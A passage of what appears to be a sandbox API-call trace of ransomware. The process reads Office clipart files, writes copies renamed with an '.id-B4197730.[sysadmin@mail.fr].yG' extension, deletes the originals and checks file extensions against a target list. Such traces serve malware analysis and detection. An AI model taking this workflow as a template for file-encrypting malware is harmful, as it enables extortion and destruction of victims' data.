	[0052.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 0x220
	[0052.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0052.046] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.046] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0052.047] GetLastError () returned 0x0
	[0052.047] ReadFile (in: hFile=0x398, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x2420, lpOverlapped=0x0) returned 1
	[0052.065] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2430, lpOverlapped=0x0) returned 1
	[0052.066] ReadFile (in: hFile=0x398, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.066] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.066] SetEndOfFile (hFile=0x2e0) returned 1
	[0052.066] CloseHandle (hObject=0x2e0) returned 1
	[0052.067] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.067] SetEndOfFile (hFile=0x398) returned 1
	[0052.068] CloseHandle (hObject=0x398) returned 1
	[0052.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 1
	[0052.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0052.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0052.068] lstrlenW (lpString=".doc") returned 4
	[0052.069] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0052.069] lstrlenW (lpString=".docx") returned 5
	[0052.069] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0052.069] lstrlenW (lpString=".pdf") returned 4
	[0052.069] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0052.069] lstrlenW (lpString=".xls") returned 4
	[0052.069] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0052.069] lstrlenW (lpString=".xlsx") returned 5
	[0052.069] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0052.069] lstrlenW (lpString=".ppt") returned 4
	[0052.069] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0052.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0052.069] lstrlenW (lpString=".zip") returned 4
	[0052.069] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0052.069] lstrlenW (lpString=".rar") returned 4
	[0052.069] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0052.069] lstrlenW (lpString=".bz2") returned 4
	[0052.069] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0052.069] lstrlenW (lpString=".7z") returned 3
	[0052.069] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0052.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0052.069] lstrlenW (lpString=".dbf") returned 4
	[0052.069] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0052.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0052.069] lstrlenW (lpString=".1cd") returned 4
	[0052.069] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0052.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0052.069] lstrlenW (lpString=".jpg") returned 4
	[0052.069] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0052.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0052.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0052.069] lstrlenW (lpString=".doc") returned 4
	[0052.069] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0052.069] lstrlenW (lpString=".docx") returned 5
	[0052.069] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0052.069] lstrlenW (lpString=".pdf") returned 4
	[0052.070] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0052.070] lstrlenW (lpString=".xls") returned 4
	[0052.070] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0052.070] lstrlenW (lpString=".xlsx") returned 5
	[0052.070] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0052.070] lstrlenW (lpString=".ppt") returned 4
	[0052.070] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0052.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0052.070] lstrlenW (lpString=".zip") returned 4
	[0052.070] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0052.070] lstrlenW (lpString=".rar") returned 4
	[0052.070] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0052.070] lstrlenW (lpString=".bz2") returned 4
	[0052.070] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0052.070] lstrlenW (lpString=".7z") returned 3
	[0052.070] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0052.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0052.070] lstrlenW (lpString=".dbf") returned 4
	[0052.070] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0052.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0052.070] lstrlenW (lpString=".1cd") returned 4
	[0052.070] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0052.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0052.070] lstrlenW (lpString=".jpg") returned 4
	[0052.070] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0052.070] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0052.070] lstrlenW (lpString="AG00174_.GIF") returned 12
	[0052.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0052.071] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=3966) returned 1
	[0052.071] CloseHandle (hObject=0x398) returned 1
	[0052.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 0x220
	[0052.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0052.072] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.072] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0052.183] GetLastError () returned 0x0
	[0052.183] ReadFile (in: hFile=0x398, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0xf7e, lpOverlapped=0x0) returned 1
	[0052.236] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xf80, lpOverlapped=0x0) returned 1
	[0052.237] ReadFile (in: hFile=0x398, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.237] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.237] SetEndOfFile (hFile=0x2e0) returned 1
	[0052.240] CloseHandle (hObject=0x2e0) returned 1
	[0052.241] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.241] SetEndOfFile (hFile=0x398) returned 1
	[0052.242] CloseHandle (hObject=0x398) returned 1
	[0052.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.243] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 1
	[0052.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0052.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0052.243] lstrlenW (lpString=".doc") returned 4
	[0052.243] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0052.243] lstrlenW (lpString=".docx") returned 5
	[0052.243] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0052.243] lstrlenW (lpString=".pdf") returned 4
	[0052.243] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0052.243] lstrlenW (lpString=".xls") returned 4
	[0052.243] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0052.243] lstrlenW (lpString=".xlsx") returned 5
	[0052.243] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0052.243] lstrlenW (lpString=".ppt") returned 4
	[0052.243] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0052.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0052.243] lstrlenW (lpString=".zip") returned 4
	[0052.243] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0052.244] lstrlenW (lpString=".rar") returned 4
	[0052.244] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0052.244] lstrlenW (lpString=".bz2") returned 4
	[0052.244] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0052.244] lstrlenW (lpString=".7z") returned 3
	[0052.244] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0052.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0052.244] lstrlenW (lpString=".dbf") returned 4
	[0052.244] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0052.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0052.244] lstrlenW (lpString=".1cd") returned 4
	[0052.244] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0052.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0052.244] lstrlenW (lpString=".jpg") returned 4
	[0052.244] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0052.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0052.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0052.244] lstrlenW (lpString=".doc") returned 4
	[0052.244] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0052.244] lstrlenW (lpString=".docx") returned 5
	[0052.244] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0052.244] lstrlenW (lpString=".pdf") returned 4
	[0052.244] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0052.244] lstrlenW (lpString=".xls") returned 4
	[0052.244] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0052.244] lstrlenW (lpString=".xlsx") returned 5
	[0052.244] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0052.245] lstrlenW (lpString=".ppt") returned 4
	[0052.245] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0052.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0052.245] lstrlenW (lpString=".zip") returned 4
	[0052.245] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0052.245] lstrlenW (lpString=".rar") returned 4
	[0052.254] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0052.255] lstrlenW (lpString=".bz2") returned 4
	[0052.255] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0052.255] lstrlenW (lpString=".7z") returned 3
	[0052.255] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0052.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0052.255] lstrlenW (lpString=".dbf") returned 4
	[0052.255] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0052.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0052.255] lstrlenW (lpString=".1cd") returned 4
	[0052.255] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0052.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0052.255] lstrlenW (lpString=".jpg") returned 4
	[0052.255] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0052.255] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0052.255] lstrlenW (lpString="AN00015_.WMF") returned 12
	[0052.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0052.255] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=4734) returned 1
	[0052.255] CloseHandle (hObject=0x398) returned 1
	[0052.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 0x220
	[0052.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0052.256] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.256] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0052.257] GetLastError () returned 0x0
	[0052.257] ReadFile (in: hFile=0x398, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x127e, lpOverlapped=0x0) returned 1
	[0052.281] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1280, lpOverlapped=0x0) returned 1
	[0052.282] ReadFile (in: hFile=0x398, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.282] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.282] SetEndOfFile (hFile=0x2e0) returned 1
	[0052.282] CloseHandle (hObject=0x2e0) returned 1
	[0052.283] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.283] SetEndOfFile (hFile=0x398) returned 1
	[0052.284] CloseHandle (hObject=0x398) returned 1
	[0052.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 1
	[0052.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0052.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0052.285] lstrlenW (lpString=".doc") returned 4
	[0052.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.285] lstrlenW (lpString=".docx") returned 5
	[0052.285] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.285] lstrlenW (lpString=".pdf") returned 4
	[0052.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.285] lstrlenW (lpString=".xls") returned 4
	[0052.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.285] lstrlenW (lpString=".xlsx") returned 5
	[0052.285] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.286] lstrlenW (lpString=".ppt") returned 4
	[0052.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0052.286] lstrlenW (lpString=".zip") returned 4
	[0052.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.286] lstrlenW (lpString=".rar") returned 4
	[0052.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.286] lstrlenW (lpString=".bz2") returned 4
	[0052.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.286] lstrlenW (lpString=".7z") returned 3
	[0052.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0052.286] lstrlenW (lpString=".dbf") returned 4
	[0052.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0052.286] lstrlenW (lpString=".1cd") returned 4
	[0052.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0052.286] lstrlenW (lpString=".jpg") returned 4
	[0052.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0052.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0052.286] lstrlenW (lpString=".doc") returned 4
	[0052.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.286] lstrlenW (lpString=".docx") returned 5
	[0052.286] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.287] lstrlenW (lpString=".pdf") returned 4
	[0052.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.287] lstrlenW (lpString=".xls") returned 4
	[0052.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.287] lstrlenW (lpString=".xlsx") returned 5
	[0052.287] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.287] lstrlenW (lpString=".ppt") returned 4
	[0052.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0052.287] lstrlenW (lpString=".zip") returned 4
	[0052.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.287] lstrlenW (lpString=".rar") returned 4
	[0052.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.287] lstrlenW (lpString=".bz2") returned 4
	[0052.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.287] lstrlenW (lpString=".7z") returned 3
	[0052.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0052.287] lstrlenW (lpString=".dbf") returned 4
	[0052.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0052.287] lstrlenW (lpString=".1cd") returned 4
	[0052.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0052.287] lstrlenW (lpString=".jpg") returned 4
	[0052.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.288] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0052.288] lstrlenW (lpString="AN00914_.WMF") returned 12
	[0052.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
